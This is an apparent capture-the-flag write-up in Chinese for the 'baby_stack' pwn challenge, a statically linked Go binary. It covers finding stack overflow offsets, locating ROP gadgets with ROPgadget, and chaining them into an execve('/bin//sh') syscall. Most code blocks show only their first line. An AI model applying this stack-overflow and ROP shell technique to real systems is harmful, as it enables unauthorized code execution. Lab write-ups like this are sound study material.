保护措施
1 | Arch: amd64-64-little |
就是一个输入输出的程序
1 | # ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 |
静态链接的,那么就不用libc了
1 | # file ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 |
不过呢,是go语言编写的,输入比较长的字符给message后可以看到报错中有.go文件
1 | ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 |
这里有个坑就是你输入的字符串太长就像上面的,感觉没啥可利用的地方,假如你输入115个
你可以看到你可以控制复制的源地址和复制的大小,计算一下偏移就是104
1 | # ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 |
假如传入可读的地址和一个大小,我们就可以print出东西
1 | # -*- coding: utf-8 -*- |
结果
1 | python exp.py |
可以看到,我们控制了第一个printf的输出,那么我们是不是可以通过加长控制第二个输出不产生异常,进而覆盖返回地址呢(注意重点是不产生异常)
通过70 80 90这样试,发现padding是80
1 | payload = padding + p64(0xc82003b608) + p64(8) + "a" * 70 |
发现padding是80
最后gdb字符串定位
1 | padding = "a" * 104 |
gdb查看
1 | [-------------------------------------code-------------------------------------] |
算偏移
1 | pwndbg> x /gx 0xc82003bf48 |
这静态编译的,没有导入表,使用系统调用吧,查了下程序中刚好有系统调用,64位是syscall,32位是int 0x80
1 | ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "syscall" |
而64位下,execve的系统调用号为59,即0x3b
1 |
查询可以到这,我之前记录了
http://blog.csdn.net/u012763794/article/details/78777938
接下来我们就构造rop,调用execve(“bin//sh”),传参的话是前三个参数在rdi,rsi和rdx
rdi的设置
首先设置rdi为bss首地址地址的组件
1 | ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rdi" |
往bss数据写入的组件
1 | ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "mov qword ptr \[rdi\]" |
给rax赋值
1 | ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rax ; ret" |
上面要设置rax为可读可写,选个0x58e100吧
1 | pwndbg> vmmap |
rsi和rdx要置0
1 | ROPgadget --binary ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep "pop rsi" |
最终payload
1 | # -*- coding: utf-8 -*- |